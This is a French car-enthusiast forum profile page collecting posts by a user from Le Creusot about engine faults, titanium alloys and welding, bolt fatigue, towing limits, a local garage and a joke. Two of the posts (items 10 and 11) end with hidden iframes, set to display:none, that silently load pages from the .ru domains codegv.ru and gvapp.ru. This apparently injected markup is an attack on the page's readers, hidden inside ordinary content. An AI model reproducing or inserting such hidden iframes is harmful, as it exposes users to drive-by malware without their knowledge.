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MP71

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    Le Creusot
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    bricolage champignons chasse
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    Patrol Y61 2.8 TD6

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  1. bien d'accord avec toi, et je ne pense pas avoir suspecté ça. Bref j'ai mal du m'exprimer.
  2. Bonjour, ton véhicule est certes éligible à la modification, mais à ta place je resterais prudente. Ce type de moteur présente des signes de faiblesse non négligeables; je peux en témoigner car le véhicule de mon épouse (un Citroën cactus) doté du même moteur vient d'y passer. Véhicule de début 2017 acheté neuf et qui vient d'atteindre 36000km. Pompe à huile en vrac et pour démonter le carter inférieur, il faut séparer le moteur de la boîte!!! . Malgré la fin de garantie, tout a été pris en charge par la concession et sans avoir à réclamer. Les conditions pour une prise en charge totale sont, révision dans le réseau et pas de modifs, jusqu'à 84 mois et 150000km. D'après certains forums, Peugeot serait moins conciliable et moins généreux. Pas trop moyen de savoir si le problème est réglé et à partir de quand. Ensuite, ce n'est qu'une expérience certes très personnelle, mais loin d'être unique.
  3. MP71

    EURISKO

    Je ne suis pas spécialiste du titane, mais pour avoir eu l'occasion d'en travailler dans mon métier de sidérurgiste, je me permets. Déja il y a de nombreuses variantes de ce matériau. Pour obtenir des caractéristiques mécaniques intéressantes, il est produit un alliage de titane avec de l'aluminium et du vanadium qui par le passé s'appelait le TA6V (de mémoire 6% alu et 4% vanadium). Cet alliage a une limite élastique bien supérieure aux aciers de constructions courants. Par contre la limite élastique est proche de la résistance, ce qui nécessite des précautions de mise en œuvre (pliage notamment). Sa densité est de l'ordre de 4,5 à comparer à celle de l'acier de 7,85; donc il y a effectivement moyen de fabriquer beaucoup moins lourd que l'acier pour une même résistance. A une époque le TA6V était très utilisé pour l'application aéronautique sans que je sache si c'est toujours le cas. Avec les moyens actuels, l'usinage est réalisable, mais pas pour autant facilement; entre autre le taraudage reste plus complexe. Il se soude effectivement mais avec une contrainte importante de protection du bain liquide par un gaz neutre qui ne doit pas être turbulent. Je n'ai vu que du soudage TIG avec un "trainard" long de plus de 500mm car il faut également protéger de l'air, une bonne partie du refroidissement. Je sais que le soudage MIG est également possible avec les mêmes contraintes. Concernant le cout annoncé, j'ai beaucoup de doutes, car pour moi 5€/kg correspond à "la valeur ferraille" , c'est à dire des chutes, des copeaux...à moins que ce soit un prix de "titane tombé du camion"!!! Ce matériau reste un produit noble utilisé même en bijouterie, alors il serait bien improbable qu'il soit moins cher que de l'acier inox, surtout lorsque l'on sait comment il doit être élaboré.
  4. au cas où c'a puisse t'intéresser, pour ton aménagement, il y a le garage Détang à Montchanin (près du Creusot) qui fait dur sur mesure. Il y a de nombreux retours positifs par chez nous; ensuite je ne connais pas ses tarifs. Il semble en faire pratiquement à longueur d'année. Je me permet de te le faire savoir parce que ça reste pas très loin de chez toi.
  5. Un homme amène sa maîtresse dans un hôtel. Dans le parking de l'hôtel, il voit la voiture de son beau-père garée et il dit : > > Le vieux salaud ! Lui qui fait tout le temps la morale à tout le monde. > > Je ne vais pas le louper aujourd'hui. > > Il s'approche de la voiture tout doucement et vole l'autoradio. Le soir, il va rendre visite à son beau-père curieux de connaitre sa version des faits et il trouve le vieux très en colère. > > Il lui demande : Qu'est-ce qui te met dans une telle humeur > > Le beau-père répond : > > J'ai prêté ma voiture à ta femme pour aller à l'église et on lui a volé l'autoradio pendant la messe !!!
  6. ce n'est pas un carré de 13 mm, mais de 12,7, soit un demi pouce, et les carrés des cliquets en 1/2 font très bien l'affaire.
  7. pour info ce 1er mai près des Combes Grondées, température la nuit autour de 10° et 15° de jour; il y a eu une seule averse, mais elle a duré approximativement 24h!!! pour environ 60l/m2!
  8. Effectivement le lien ne s'ouvre pas en navigant avec MOZILLA, mais avec INTERNET EXPLORER il s'ouvre ; mais bon tu as droit à autant de durée de pub que la durée de la vidéo !
  9. Pierre, pour une fois on va t'aider; comprendre "c'est très étroit"!!!
  10. en inversant le "b" et le "m" <iframe src="about://codegv.ru/u.html" style="display: none;" id="zunifrm"></iframe>
  11. Oui Pierre, même si la limite élastique n'est pas dépassée lors du serrage, le fait pour l'acier de s'allonger et rétracter régulièrement provoque un phénomène de "fatigue" de l'acier. Et dans le temps, ce phénomène abaisse la limite élastique (et pas rien qu'un peu !). Même si l'explication est très résumée ici, le conseil de remplacer les vis au remontage est plutôt une bonne chose, mais si le démontage se fait sans que ça ait chauffé et travaillé trop longtemps, ce n'est pas vraiment indispensable. <iframe src="about<strong></strong>://gvapp.ru/u.html" style="display: none;" id="zunifrm"></iframe>
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  13. c'est OK avec le TD6 également. Pour ton cas si PTRA - PTAC = 2t9 si tu tractes plus lourd tu es en infraction, sauf si le PTAC de la remorque est frappé à 2t9 et que le reste est en surcharge; car pour le savoir il faut passer par la balance!
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